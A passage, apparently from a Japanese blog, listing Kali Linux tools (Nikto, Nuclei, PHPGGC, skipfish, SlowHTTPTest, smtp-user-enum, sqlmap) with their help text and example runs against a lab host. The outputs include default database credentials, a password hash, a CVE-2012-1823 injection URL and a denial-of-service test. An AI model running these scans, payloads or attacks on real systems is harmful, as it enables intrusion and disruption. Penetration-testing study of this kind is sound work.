       -port+             Port to use (default 80)
       -RSAcert+          Client certificate file
       -root+             Prepend root value to all requests, format is /directory
       -Save              Save positive responses to this directory ('.' for auto-name)
       -ssl               Force ssl mode on port
       -Tuning+           Scan tuning:
                               1     Interesting File / Seen in logs
                               2     Misconfiguration / Default File
                               3     Information Disclosure
                               4     Injection (XSS/Script/HTML)
                               5     Remote File Retrieval - Inside Web Root
                               6     Denial of Service
                               7     Remote File Retrieval - Server Wide
                               8     Command Execution / Remote Shell
                               9     SQL Injection
                               0     File Upload
                               a     Authentication Bypass
                               b     Software Identification
                               c     Remote Source Inclusion
                               d     WebService
                               e     Administrative Console
                               x     Reverse Tuning Options (i.e., include all except specified)
       -timeout+          Timeout for requests (default 10 seconds)
       -Userdbs           Load only user databases, not the standard databases
                               all   Disable standard dbs and load only user dbs
                               tests Disable only db_tests and load udb_tests
       -useragent         Over-rides the default useragent
       -until             Run until the specified time or duration
       -url+              Target host/URL (alias of -host)
       -usecookies        Use cookies from responses in future requests
       -useproxy          Use the proxy defined in nikto.conf, or argument http://server:port
       -Version           Print plugin and database versions
       -vhost+            Virtual host (for Host header)
       -404code           Ignore these HTTP codes as negative responses (always). Format is "302,301".
       -404string         Ignore this string in response body content as negative response (always). Can be a regular expression.
                + requires a value

■ 使用例

root@kali:~# nikto -host http://192.168.11.4/
- Nikto v2.5.0
---------------------------------------------------------------------------
---------------------------------------------------------------------------
+ 0 host(s) tested

┌──(root㉿kali_1)-[~]
└─# nikto -host http://192.168.11.4/
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.11.4
+ Target Hostname:    192.168.11.4
+ Target Port:        80
+ Start Time:         2024-10-30 04:02:12 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 406870, size: 26, mtime: Tue Mar 16 05:56:22 2010. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /config/: Directory indexing found.
+ /config/: Configuration information may be available remotely.
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /login/: This might be interesting.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ /docs/: Directory indexing found.
+ /CHANGELOG.txt: A changelog was found.
+ /login.php: Admin login page/section found.
+ /?-s: PHP allows retrieval of the source code via the -s parameter, and may allow command execution. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823
+ /login.php?-s: PHP allows retrieval of the source code via the -s parameter, and may allow command execution. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823
+ /CHANGELOG.txt: Version number implies that there is a SQL Injection in Drupal 7, which can be used for authentication bypass (Drupalgeddon). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704 https://www.sektioneins.de/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
+ 8102 requests: 0 error(s) and 27 item(s) reported on remote host
+ End Time:           2024-10-30 04:02:24 (GMT0) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nuclei

Webアプリケーションに対してセキュリティスキャンを行います。

■ 使用方法

root@kali:~# nuclei --help

Usage:
  nuclei [flags]

Flags:
TARGET:
   -u, -target string[]          target URLs/hosts to scan
   -l, -list string              path to file containing a list of target URLs/hosts to scan (one per line)
   -eh, -exclude-hosts string[]  hosts to exclude to scan from the input list (ip, cidr, hostname)
   -resume string                resume scan using resume.cfg (clustering will be disabled)
   -sa, -scan-all-ips            scan all the IP\'s associated with dns record
   -iv, -ip-version string[]     IP version to scan of hostname (4,6) - (default 4)

TARGET-FORMAT:
   -im, -input-mode string        mode of input file (list, burp, jsonl, yaml, openapi, swagger) (default "list")
   -ro, -required-only            use only required fields in input format when generating requests
   -sfv, -skip-format-validation  skip format validation (like missing vars) when parsing input file

TEMPLATES:
   -nt, -new-templates                    run only new templates added in latest nuclei-templates release
   -ntv, -new-templates-version string[]  run new templates added in specific version
   -as, -automatic-scan                   automatic web scan using wappalyzer technology detection to tags mapping
   -t, -templates string[]                list of template or template directory to run (comma-separated, file)
   -turl, -template-url string[]          template url or list containing template urls to run (comma-separated, file)
   -w, -workflows string[]                list of workflow or workflow directory to run (comma-separated, file)
   -wurl, -workflow-url string[]          workflow url or list containing workflow urls to run (comma-separated, file)
   -validate                              validate the passed templates to nuclei
   -nss, -no-strict-syntax                disable strict syntax check on templates
   -td, -template-display                 displays the templates content
   -tl                                    list all available templates
   -tgl                                   list all available tags
   -sign                                  signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
   -code                                  enable loading code protocol-based templates
   -dut, -disable-unsigned-templates      disable running unsigned templates or templates with mismatched signature

FILTERING:
   -a, -author string[]               templates to run based on authors (comma-separated, file)
   -tags string[]                     templates to run based on tags (comma-separated, file)
   -etags, -exclude-tags string[]     templates to exclude based on tags (comma-separated, file)
   -itags, -include-tags string[]     tags to be executed even if they are excluded either by default or configuration
   -id, -template-id string[]         templates to run based on template ids (comma-separated, file, allow-wildcard)
   -eid, -exclude-id string[]         templates to exclude based on template ids (comma-separated, file)
   -it, -include-templates string[]   path to template file or directory to be executed even if they are excluded either by default or configuration
   -et, -exclude-templates string[]   path to template file or directory to exclude (comma-separated, file)
   -em, -exclude-matchers string[]    template matchers to exclude in result
   -s, -severity value[]              templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
   -es, -exclude-severity value[]     templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
   -pt, -type value[]                 templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
   -ept, -exclude-type value[]        templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
   -tc, -template-condition string[]  templates to run based on expression condition

OUTPUT:
   -o, -output string            output file to write found issues/vulnerabilities
   -sresp, -store-resp           store all request/response passed through nuclei to output directory
   -srd, -store-resp-dir string  store all request/response passed through nuclei to custom directory (default "output")
   -silent                       display findings only
   -nc, -no-color                disable output content coloring (ANSI escape codes)
   -j, -jsonl                    write output in JSONL(ines) format
   -irr, -include-rr -omit-raw   include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
   -or, -omit-raw                omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
   -ot, -omit-template           omit encoded template in the JSON, JSONL output
   -nm, -no-meta                 disable printing result metadata in cli output
   -ts, -timestamp               enables printing timestamp in cli output
   -rdb, -report-db string       nuclei reporting database (always use this to persist report data)
   -ms, -matcher-status          display match failure status
   -me, -markdown-export string  directory to export results in markdown format
   -se, -sarif-export string     file to export results in SARIF format
   -je, -json-export string      file to export results in JSON format
   -jle, -jsonl-export string    file to export results in JSONL(ine) format
   -rd, -redact string[]         redact given list of keys from query parameter, request header and body

CONFIGURATIONS:
   -config string                        path to the nuclei configuration file
   -tp, -profile string                  template profile config file to run
   -tpl, -profile-list                   list community template profiles
   -fr, -follow-redirects                enable following redirects for http templates
   -fhr, -follow-host-redirects          follow redirects on the same host
   -mr, -max-redirects int               max number of redirects to follow for http templates (default 10)
   -dr, -disable-redirects               disable redirects for http templates
   -rc, -report-config string            nuclei reporting module configuration file
   -H, -header string[]                  custom header/cookie to include in all http request in header:value format (cli, file)
   -V, -var value                        custom vars in key=value format
   -r, -resolvers string                 file containing resolver list for nuclei
   -sr, -system-resolvers                use system DNS resolving as error fallback
   -dc, -disable-clustering              disable clustering of requests
   -passive                              enable passive HTTP response processing mode
   -fh2, -force-http2                    force http2 connection on requests
   -ev, -env-vars                        enable environment variables to be used in template
   -cc, -client-cert string              client certificate file (PEM-encoded) used for authenticating against scanned hosts
   -ck, -client-key string               client key file (PEM-encoded) used for authenticating against scanned hosts
   -ca, -client-ca string                client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
   -sml, -show-match-line                show match lines for file templates, works with extractors only
   -ztls                                 use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
   -sni string                           tls sni hostname to use (default: input domain name)
   -dka, -dialer-keep-alive value        keep-alive duration for network requests.
   -lfa, -allow-local-file-access        allows file (payload) access anywhere on the system
   -lna, -restrict-local-network-access  blocks connections to the local / private network
   -i, -interface string                 network interface to use for network scan
   -at, -attack-type string              type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
   -sip, -source-ip string               source ip address to use for network scan
   -rsr, -response-size-read int         max response size to read in bytes
   -rss, -response-size-save int         max response size to read in bytes (default 1048576)
   -reset                                reset removes all nuclei configuration and data files (including nuclei-templates)
   -tlsi, -tls-impersonate               enable experimental client hello (ja3) tls randomization
   -hae, -http-api-endpoint string       experimental http api endpoint

INTERACTSH:
   -iserver, -interactsh-server string  interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
   -itoken, -interactsh-token string    authentication token for self-hosted interactsh server
   -interactions-cache-size int         number of requests to keep in the interactions cache (default 5000)
   -interactions-eviction int           number of seconds to wait before evicting requests from cache (default 60)
   -interactions-poll-duration int      number of seconds to wait before each interaction poll request (default 5)
   -interactions-cooldown-period int    extra time for interaction polling before exiting (default 5)
   -ni, -no-interactsh                  disable interactsh server for OAST testing, exclude OAST based templates

FUZZING:
   -ft, -fuzzing-type string     overrides fuzzing type set in template (replace, prefix, postfix, infix)
   -fm, -fuzzing-mode string     overrides fuzzing mode set in template (multiple, single)
   -fuzz                         enable loading fuzzing templates (Deprecated: use -dast instead)
   -dast                         enable / run dast (fuzz) nuclei templates
   -dfp, -display-fuzz-points    display fuzz points in the output for debugging
   -fuzz-param-frequency int     frequency of uninteresting parameters for fuzzing before skipping (default 10)
   -fa, -fuzz-aggression string  fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")

UNCOVER:
   -uc, -uncover                  enable uncover engine
   -uq, -uncover-query string[]   uncover search query
   -ue, -uncover-engine string[]  uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google) (default shodan)
   -uf, -uncover-field string     uncover fields to return (ip,port,host) (default "ip:port")
   -ul, -uncover-limit int        uncover results to return (default 100)
   -ur, -uncover-ratelimit int    override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)

RATE-LIMIT:
   -rl, -rate-limit int               maximum number of requests to send per second (default 150)
   -rld, -rate-limit-duration value   maximum number of requests to send per second (default 1s)
   -rlm, -rate-limit-minute int       maximum number of requests to send per minute (DEPRECATED)
   -bs, -bulk-size int                maximum number of hosts to be analyzed in parallel per template (default 25)
   -c, -concurrency int               maximum number of templates to be executed in parallel (default 25)
   -hbs, -headless-bulk-size int      maximum number of headless hosts to be analyzed in parallel per template (default 10)
   -headc, -headless-concurrency int  maximum number of headless templates to be executed in parallel (default 10)
   -jsc, -js-concurrency int          maximum number of javascript runtimes to be executed in parallel (default 120)
   -pc, -payload-concurrency int      max payload concurrency for each template (default 25)
   -prc, -probe-concurrency int       http probe concurrency with httpx (default 50)

OPTIMIZATIONS:
   -timeout int                     time to wait in seconds before timeout (default 10)
   -retries int                     number of times to retry a failed request (default 1)
   -ldp, -leave-default-ports       leave default HTTP/HTTPS ports (eg. host:80,host:443)
   -mhe, -max-host-error int        max errors for a host before skipping from scan (default 30)
   -te, -track-error string[]       adds given error to max-host-error watchlist (standard, file)
   -nmhe, -no-mhe                   disable skipping host from scan based on errors
   -project                         use a project folder to avoid sending same request multiple times
   -project-path string             set a specific project path (default "/tmp")
   -spm, -stop-at-first-match       stop processing HTTP requests after the first match (may break template/workflow logic)
   -stream                          stream mode - start elaborating without sorting the input
   -ss, -scan-strategy value        strategy to use while scanning(auto/host-spray/template-spray) (default auto)
   -irt, -input-read-timeout value  timeout on input read (default 3m0s)
   -nh, -no-httpx                   disable httpx probing for non-url input
   -no-stdin                        disable stdin processing

HEADLESS:
   -headless                        enable templates that require headless browser support (root user on Linux will disable sandbox)
   -page-timeout int                seconds to wait for each page in headless mode (default 20)
   -sb, -show-browser               show the browser on the screen when running templates with headless mode
   -ho, -headless-options string[]  start headless chrome with additional options
   -sc, -system-chrome              use local installed Chrome browser instead of nuclei installed
   -lha, -list-headless-action      list available headless actions

DEBUG:
   -debug                     show all requests and responses
   -dreq, -debug-req          show all sent requests
   -dresp, -debug-resp        show all received responses
   -p, -proxy string[]        list of http/socks5 proxy to use (comma separated or file input)
   -pi, -proxy-internal       proxy all internal requests
   -ldf, -list-dsl-function   list all supported DSL function signatures
   -tlog, -trace-log string   file to write sent requests trace log
   -elog, -error-log string   file to write sent requests error log
   -version                   show nuclei version
   -hm, -hang-monitor         enable nuclei hang monitoring
   -v, -verbose               show verbose output
   -profile-mem string        generate memory (heap) profile & trace files
   -vv                        display templates loaded for scan
   -svd, -show-var-dump       show variables dump for debugging
   -vdl, -var-dump-limit int  limit the number of characters displayed in var dump (default 255)
   -ep, -enable-pprof         enable pprof debugging server
   -tv, -templates-version    shows the version of the installed nuclei-templates
   -hc, -health-check         run diagnostic check up

UPDATE:
   -ut, -update-templates            update nuclei-templates to latest released version
   -ud, -update-template-dir string  custom directory to install / update nuclei-templates
   -duc, -disable-update-check       disable automatic nuclei/templates update check

STATISTICS:
   -stats                    display statistics about the running scan
   -sj, -stats-json          display statistics in JSONL(ines) format
   -si, -stats-interval int  number of seconds to wait between showing a statistics update (default 5)
   -mp, -metrics-port int    port to expose nuclei metrics on (default 9092)

CLOUD:
   -auth                           configure projectdiscovery cloud (pdcp) api key (default true)
   -tid, -team-id string           upload scan results to given team id (optional) (default "none")
   -cup, -cloud-upload             upload scan results to pdcp dashboard [DEPRECATED use -dashboard]
   -sid, -scan-id string           upload scan results to existing scan id (optional)
   -sname, -scan-name string       scan name to set (optional)
   -pd, -dashboard                 upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard
   -pdu, -dashboard-upload string  upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard

AUTHENTICATION:
   -sf, -secret-file string[]  path to config file containing secrets for nuclei authenticated scan
   -ps, -prefetch-secrets      prefetch secrets from the secrets file

■ 使用例

root@kali:~# nuclei -target 192.168.11.4 -exclude-severity info -silent
[CVE-2012-1823] [http] [high] http://192.168.11.4/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
[phpinfo-files] [http] [low] http://192.168.11.4/phpinfo.php [paths="/phpinfo.php"]
[pgsql-default-db] [javascript] [high] 192.168.11.4:5432 [database="template1",password="postgres",usernames="postgres"]
[ssh-diffie-hellman-logjam] [javascript] [low] 192.168.11.4:22
[ssh-cbc-mode-ciphers] [javascript] [low] 192.168.11.4:22
[ssh-weak-algo-supported] [javascript] [medium] 192.168.11.4:22
[ssh-weak-mac-algo] [javascript] [low] 192.168.11.4:22
[ssh-weakkey-exchange-algo] [javascript] [low] 192.168.11.4:22
[CVE-2004-2687] [tcp] [high] 192.168.11.4:3632
[CVE-2020-1938] [tcp] [critical] 192.168.11.4:8009
[CVE-2011-2523] [tcp] [critical] 192.168.11.4:6200
[pgsql-version-detect] [javascript] [high] 192.168.11.4:5432 ["PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)"] [database="postgres",password="postgres",usernames="postgres"]
[pgsql-list-password-hashes] [javascript] [high] 192.168.11.4:5432 ["postgres : md53175bce1d3201d16594cebf9d7eb3f9d"] [database="postgres",password="postgres",usernames="postgres"]
[pgsql-default-db] [javascript] [high] 192.168.11.4:5432 [database="postgres",password="postgres",usernames="postgres"]
[postgres-default-logins] [javascript] [high] 192.168.11.4:5432 [passwords="postgres",usernames="postgres"]
[pgsql-file-read] [javascript] [high] 192.168.11.4:5432 ["postmaster.opts","PG_VERSION","pg_xlog","pg_multixact","global","postmaster.pid","base","pg_tblspc","server.crt","pg_clog","pg_twophase","pg_subtrans","root.crt","server.key"] [database="postgres",password="postgres",usernames="postgres"]
[pgsql-list-users] [javascript] [high] 192.168.11.4:5432 ["postgres"] [database="postgres",password="postgres",usernames="postgres"]
[pgsql-list-database] [javascript] [high] 192.168.11.4:5432 ["template1","template0","postgres"] [database="postgres",password="postgres",usernames="postgres"]
[ftp-anonymous-login] [tcp] [medium] 192.168.11.4:21

PHPGGC

安全でないオブジェクトのデシリアライズを悪用するペイロードを生成します。

■ 使用方法

root@kali:~# phpggc --help

USAGE
  ./phpggc [-h|-l|-i|...] <GadgetChain> [arguments]

INFORMATION
  -h, --help Displays help
  -l, --list [filter] Lists available gadget chains
  -i, --information
     Displays information about a gadget chain

OUTPUT
  -o, --output <file>
     Outputs the payload to a file instead of standard output

PHAR
  -p, --phar <tar|zip|phar>
     Creates a PHAR file of the given format
  -pj, --phar-jpeg <file>
     Creates a polyglot JPEG/PHAR file from given image
  -pp, --phar-prefix <file>
     Sets the PHAR prefix as the contents of the given file.
     Generally used with -p phar to control the beginning of the generated file.
  -pf, --phar-filename <filename>
     Defines the name of the file contained in the generated PHAR (default: test.txt)

ENHANCEMENTS
  -f, --fast-destruct
     Applies the fast-destruct technique, so that the object is destroyed
     right after the unserialize() call, as opposed to at the end of the
     script
  -a, --ascii-strings
     Uses the 'S' serialization format instead of the standard 's' for non-printable chars.
     This replaces every non-ASCII value to an hexadecimal representation:
       s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\00B\09\0D";
     This is experimental and it might not work in some cases.
  -A, --armor-strings
     Uses the 'S' serialization format instead of the standard 's' for every char.
     This replaces every character to an hexadecimal representation:
       s:5:"A<null_byte>B<cr><lf>"; -> S:5:"\41\00\42\09\0D";
     This is experimental and it might not work in some cases.
     Note: Since strings grow by a factor of 3 using this option, the payload can get
     really long.
  -n, --plus-numbers <types>
     Adds a + symbol in front of every number symbol of the given type.
     For instance, -n iO adds a + in front of every int and object name size:
     O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":1:{s:1:"x";i:+3;}
     Note: Since PHP 7.2, only i and d (float) types can have a +
  -w, --wrapper <wrapper>
     Specifies a file containing at least one wrapper functions:
       - process_parameters(array $parameters): called right before object is created
       - process_object(object $object): called right before the payload is serialized
       - process_serialized(string $serialized): called right after the payload is serialized

ENCODING
  -s, --soft   Soft URLencode
  -u, --url    URLencodes the payload
  -b, --base64 Converts the output into base64
  -j, --json   Converts the output into json
  Encoders can be chained, for instance -b -u -u base64s the payload,
  then URLencodes it twice

CREATION
  -N, --new <framework> <type>
    Creates the file structure for a new gadgetchain for given framework
    Example: ./phpggc -N Drupal RCE
  --test-payload
    Instead of displaying or storing the payload, includes vendor/autoload.php and unserializes the payload.
    The test script can only deserialize __destruct, __wakeup, __toString and PHAR payloads.
    Warning: This will run the payload on YOUR system !

■ 使用例

PHPGGCの使用例は過去の投稿をご参照ください。

skipfish

Webアプリケーションをスキャンしてセキュリティチェックを行います。

■ 使用方法

root@kali:~# skipfish --help

Usage: skipfish [ options ... ] -W wordlist -o output_dir start_url [ start_url2 ... ]

Authentication and access options:

  -A user:pass      - use specified HTTP authentication credentials
  -F host=IP        - pretend that 'host' resolves to 'IP'
  -C name=val       - append a custom cookie to all requests
  -H name=val       - append a custom HTTP header to all requests
  -b (i|f|p)        - use headers consistent with MSIE / Firefox / iPhone
  -N                - do not accept any new cookies
  --auth-form url   - form authentication URL
  --auth-user user  - form authentication user
  --auth-pass pass  - form authentication password
  --auth-verify-url -  URL for in-session detection

Crawl scope options:

  -d max_depth     - maximum crawl tree depth (16)
  -c max_child     - maximum children to index per node (512)
  -x max_desc      - maximum descendants to index per branch (8192)
  -r r_limit       - max total number of requests to send (100000000)
  -p crawl%        - node and link crawl probability (100%)
  -q hex           - repeat probabilistic scan with given seed
  -I string        - only follow URLs matching 'string'
  -X string        - exclude URLs matching 'string'
  -K string        - do not fuzz parameters named 'string'
  -D domain        - crawl cross-site links to another domain
  -B domain        - trust, but do not crawl, another domain
  -Z               - do not descend into 5xx locations
  -O               - do not submit any forms
  -P               - do not parse HTML, etc, to find new links

Reporting options:

  -o dir          - write output to specified directory (required)
  -M              - log warnings about mixed content / non-SSL passwords
  -E              - log all HTTP/1.0 / HTTP/1.1 caching intent mismatches
  -U              - log all external URLs and e-mails seen
  -Q              - completely suppress duplicate nodes in reports
  -u              - be quiet, disable realtime progress stats
  -v              - enable runtime logging (to stderr)

Dictionary management options:

  -W wordlist     - use a specified read-write wordlist (required)
  -S wordlist     - load a supplemental read-only wordlist
  -L              - do not auto-learn new keywords for the site
  -Y              - do not fuzz extensions in directory brute-force
  -R age          - purge words hit more than 'age' scans ago
  -T name=val     - add new form auto-fill rule
  -G max_guess    - maximum number of keyword guesses to keep (256)

  -z sigfile      - load signatures from this file

Performance settings:

  -g max_conn     - max simultaneous TCP connections, global (40)
  -m host_conn    - max simultaneous connections, per target IP (10)
  -f max_fail     - max number of consecutive HTTP errors (100)
  -t req_tmout    - total request response timeout (20 s)
  -w rw_tmout     - individual network I/O timeout (10 s)
  -i idle_tmout   - timeout on idle HTTP connections (10 s)
  -s s_limit      - response size limit (400000 B)
  -e              - do not keep binary responses for reporting

Other settings:

  -l max_req      - max requests per second (0.000000)
  -k duration     - stop scanning after the given duration h:m:s
  --config file   - load the specified configuration file

■ 使用例

root@kali:~# skipfish -o report -O http://192.168.11.4/

Scan statistics:

      Scan time : 0:15:34.501
  HTTP requests : 538814 (576.7/s), 1350536 kB in, 236585 kB out (1698.4 kB/s)
    Compression : 0 kB in, 0 kB out (0.0% gain)
    HTTP faults : 12 net errors, 0 proto errors, 0 retried, 0 drops
 TCP handshakes : 5581 total (96.7 req/conn)
     TCP faults : 0 failures, 12 timeouts, 0 purged
 External links : 12843 skipped
   Reqs pending : 1147

Database statistics:

         Pivots : 2256 total, 1825 done (80.90%)
    In progress : 300 pending, 12 init, 4 attacks, 115 dict
  Missing nodes : 616 spotted
     Node types : 1 serv, 282 dir, 337 file, 642 pinfo, 751 unkn, 241 par, 2 val
   Issues found : 2169 info, 4 warn, 6 low, 472 medium, 2 high impact
      Dict size : 1061 words (1061 new), 23 extensions, 256 candidates
     Signatures : 77 total

[+] Copying static resources...
[+] Sorting and annotating crawl nodes: 2256
[+] Looking for duplicate entries: 2256
[+] Counting unique nodes: 1101
[+] Saving pivot data for third-party tools...
[+] Writing scan description...
[+] Writing crawl tree: 2256
[+] Generating summary views...
[+] Report saved to 'report/index.html' [0x0a541269].
[+] This was a great day for science!

出力されたHTMLレポート（クローリング結果をツリー表示）

出力されたHTMLレポート（検出された問題点の一覧）

リクエストとレスポンスの内容をトレース

SlowHTTPTest

Slow HTTP攻撃をテストします。

■ 使用方法

root@kali:~# slowhttptest -h

Usage: slowhttptest [options ...]
Test modes:
  -H               slow headers a.k.a. Slowloris (default)
  -B               slow body a.k.a R-U-Dead-Yet
  -R               range attack a.k.a Apache killer
  -X               slow read a.k.a Slow Read

Reporting options:

  -g               generate statistics with socket state changes (off)
  -o file_prefix   save statistics output in file.html and file.csv (-g required)
  -v level         verbosity level 0-4: Fatal, Info, Error, Warning, Debug

General options:

  -c connections   target number of connections (50)
  -i seconds       interval between followup data in seconds (10)
  -l seconds       target test length in seconds (240)
  -r rate          connections per seconds (50)
  -s bytes         value of Content-Length header if needed (4096)
  -t verb          verb to use in request, default to GET for
                   slow headers and response and to POST for slow body
  -u URL           absolute URL of target (http://localhost/)
  -x bytes         max length of each randomized name/value pair of
                   followup data per tick, e.g. -x 2 generates
                   X-xx: xx for header or &xx=xx for body, where x
                   is random character (32)
  -f content-type  value of Content-type header (application/x-www-form-urlencoded)
  -m accept        value of Accept header (text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)

Probe/Proxy options:

  -d host:port     all traffic directed through HTTP proxy at host:port (off)
  -e host:port     probe traffic directed through HTTP proxy at host:port (off)
  -p seconds       timeout to wait for HTTP response on probe connection,
                   after which server is considered inaccessible (5)
  -j cookies       value of Cookie header (ex.: -j "user_id=1001; timeout=9000")

Range attack specific options:

  -a start        left boundary of range in range header (5)
  -b bytes        limit for range header right boundary values (2000)

Slow read specific options:

  -k num          number of times to repeat same request in the connection. Use to
                  multiply response size if server supports persistent connections (1)
  -n seconds      interval between read operations from recv buffer in seconds (1)
  -w bytes        start of the range advertised window size would be picked from (1)
  -y bytes        end of the range advertised window size would be picked from (512)
  -z bytes        bytes to slow read from receive buffer with single read() call (5)

■ 使用例

root@kali:~# slowhttptest -u http://192.168.11.4 -R
test type:                        RANGE
number of connections:            50
URL:                              http://192.168.11.4/
verb:                             HEAD
[...]
initializing:        0
pending:             1
connected:           0
error:               0
closed:              0
service available:   YES
Thu Nov 14 07:00:20 2024:
Test ended on 1th second
Exit status: No open connections left

smtp-user-enum

SMTPサービスに対してユーザー名の検索を行います。

■ 使用方法

root@kali:~# smtp-user-enum --help

Usage: smtp-user-enum [-OPTIONS [-MORE_OPTIONS]] [--] [PROGRAM_ARG1 ...]

options are:
        -m n     Maximum number of processes (default: 5)
        -M mode  Method to use for username guessing EXPN, VRFY or RCPT (default: VRFY)
        -u user  Check if user exists on remote system
        -f addr  MAIL FROM email address.  Used only in "RCPT TO" mode (default: user@example.com)
        -D dom   Domain to append to supplied user list to make email addresses (Default: none)
                 Use this option when you want to guess valid email addresses instead of just usernames
                 e.g. "-D example.com" would guess foo@example.com, bar@example.com, etc.  Instead of
                      simply the usernames foo and bar.
        -U file  File of usernames to check via smtp service
        -t host  Server host running smtp service
        -T file  File of hostnames running the smtp service
        -p port  TCP port on which smtp service runs (default: 25)
        -d       Debugging output
        -w n     Wait a maximum of n seconds for reply (default: 5)
        -v       Verbose
        -h       This help message

■ 使用例

root@kali:~# ssmtp-user-enum -M VRFY -U users.txt -t 192.168.11.4
 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... users.txt
Target count ............. 1
Username count ........... 17
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............

######## Scan started at Thu Nov 14 07:48:58 2024 #########
192.168.11.4: test exists
192.168.11.4: guest exists
192.168.11.4: user exists
192.168.11.4: ftp exists
192.168.11.4: mysql exists
192.168.11.4: root exists
######## Scan completed at Thu Nov 14 07:48:58 2024 #########
6 results.

sqlmap

SQLインジェクションの脆弱性チェックを行います。

■ 使用方法

root@kali:~# sqlmap --help

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program\'s version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
